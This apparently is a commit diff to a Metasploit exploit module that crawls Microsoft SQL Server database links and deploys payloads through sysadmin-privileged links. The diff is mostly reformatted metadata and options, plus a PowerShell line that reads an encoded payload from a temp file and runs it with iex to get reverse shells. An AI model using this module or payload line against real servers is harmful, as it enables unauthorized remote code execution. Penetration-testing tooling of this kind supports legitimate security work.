1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+
1
9
require 'msf/core'
2
10
require 'msf/core/exploit/mssql_commands'
3
11
@@ -10,32 +18,39 @@ class Metasploit3 < Msf::Exploit::Remote
10
18
11
19
def initialize ( info = { } )
12
20
super ( update_info ( info ,
13
- 'Name' => 'Microsoft SQL Server - Database Link Crawler' ,
14
- 'Description' => %q{This module can be used to crawl MS SQL Server
15
- database links and deploy metasploit payloads through links configured
16
- with sysadmin privileges using a valid SQL Server Login. If you are
17
- attempting to obtain multiple reverse shells using this module we
18
- recommend setting the "DisablePayloadHandler" advanced option to "true",
19
- and setting up a multi/handler to run in the background as a job to
20
- support multiple incoming shells. If you are interested in deploying
21
- payloads to spefic servers this module also supports that functionality
22
- via the "DEPLOYLIST" option. Currently, the module is capable of
23
- delivering payloads to both 32bit and 64bit Windows systems via
24
- powershell memory injection methods based on Matthew Graeber's work.
25
- As a result, the target server must have powershell installed.
26
- By default, all of the crawl information is saved to a CSV formatted
27
- log file and MSF loot so that the tool can also be used for auditing
28
- without deploying payloads.} ,
21
+ 'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution' ,
22
+ 'Description' => %q{
23
+ This module can be used to crawl MS SQL Server database links and deploy
24
+ Metasploit payloads through links configured with sysadmin privileges using a
25
+ valid SQL Server Login.
26
+
27
+ If you are attempting to obtain multiple reverse shells using this module we
28
+ recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
29
+ up a multi/handler to run in the background as a job to support multiple incoming
30
+ shells.
31
+
32
+ If you are interested in deploying payloads to spefic servers this module also
33
+ supports that functionality via the "DEPLOYLIST" option.
34
+
35
+ Currently, the module is capable of delivering payloads to both 32bit and 64bit
36
+ Windows systems via powershell memory injection methods based on Matthew Graeber's
37
+ work. As a result, the target server must have powershell installed. By default,
38
+ all of the crawl information is saved to a CSV formatted log file and MSF loot so
39
+ that the tool can also be used for auditing without deploying payloads.
40
+ } ,
29
41
'Author' =>
30
42
[
31
- 'Antti Rantasaari <antti.rantasaari [at] netspi.com>' ,
32
- 'Scott Sutherland "nullbind" <scott.sutherland [at] netspi.com>'
43
+ 'Antti Rantasaari <antti.rantasaari[at]netspi.com>' ,
44
+ 'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
33
45
] ,
34
46
'Platform' => [ 'win' ] ,
35
47
'License' => MSF_LICENSE ,
36
- 'References' => [ [ 'URL' , 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012' ] ,
37
- [ 'URL' , 'http://msdn.microsoft.com/en-us/library/ms188279.aspx' ] ,
38
- [ 'URL' , 'http://www.exploit-monday.com/2011_10_16_archive.html' ] ] ,
48
+ 'References' =>
49
+ [
50
+ [ 'URL' , 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012' ] ,
51
+ [ 'URL' , 'http://msdn.microsoft.com/en-us/library/ms188279.aspx' ] ,
52
+ [ 'URL' , 'http://www.exploit-monday.com/2011_10_16_archive.html' ]
53
+ ] ,
39
54
'Platform' => 'win' ,
40
55
'DisclosureDate' => 'Jan 1 2000' ,
41
56
'Targets' =>
@@ -47,9 +62,14 @@ def initialize(info = {})
47
62
48
63
register_options (
49
64
[
50
- OptBool . new ( 'VERBOSE' , [ false , 'Set how verbose the output should be' , 'false' ] ) ,
51
- OptBool . new ( 'DEPLOY' , [ false , 'Deploy payload via the sysadmin links' , 'false' ] ) ,
52
- OptString . new ( 'DEPLOYLIST' , [ false , 'Comma seperated list of systems to deploy to' ] ) ,
65
+ OptBool . new ( 'DEPLOY' , [ false , 'Deploy payload via the sysadmin links' , 'false' ] ) ,
66
+ OptString . new ( 'DEPLOYLIST' , [ false , 'Comma seperated list of systems to deploy to' ] ) ,
67
+ OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' ] )
68
+ ] , self . class )
69
+
70
+ register_advanced_options (
71
+ [
72
+ OptString . new ( 'POWERSHELL_PATH' , [ true , 'Path to powershell.exe' , "C:\\ windows\\ syswow64\\ WindowsPowerShell\\ v1.0\\ powershell.exe" ] )
53
73
] , self . class )
54
74
end
55
75
@@ -511,7 +531,7 @@ def powershell_upload_exec(path)
511
531
# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
512
532
# If running on 64bit system, 32bit powershell called from syswow64
513
533
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\ #{ rand_filename } ) -join '';if((gci env:processor_identifier).value -like\
514
- '*64*'){$psbits=\" C: \\ windows \\ syswow64 \\ WindowsPowerShell \\ v1.0 \\ powershell.exe -noexit -noprofile -encodedCommand $dacode\" } else {$psbits=\" powershell.exe\
534
+ '*64*'){$psbits=\" #{ datastore [ 'POWERSHELL_PATH' ] } -noexit -noprofile -encodedCommand $dacode\" } else {$psbits=\" powershell.exe\
515
535
-noexit -noprofile -encodedCommand $dacode\" };iex $psbits"
516
536
powershell_uni = Rex ::Text . to_unicode ( powershell_cmd )
517
537
powershell_64 = Rex ::Text . encode_base64 ( powershell_uni )
0 commit comments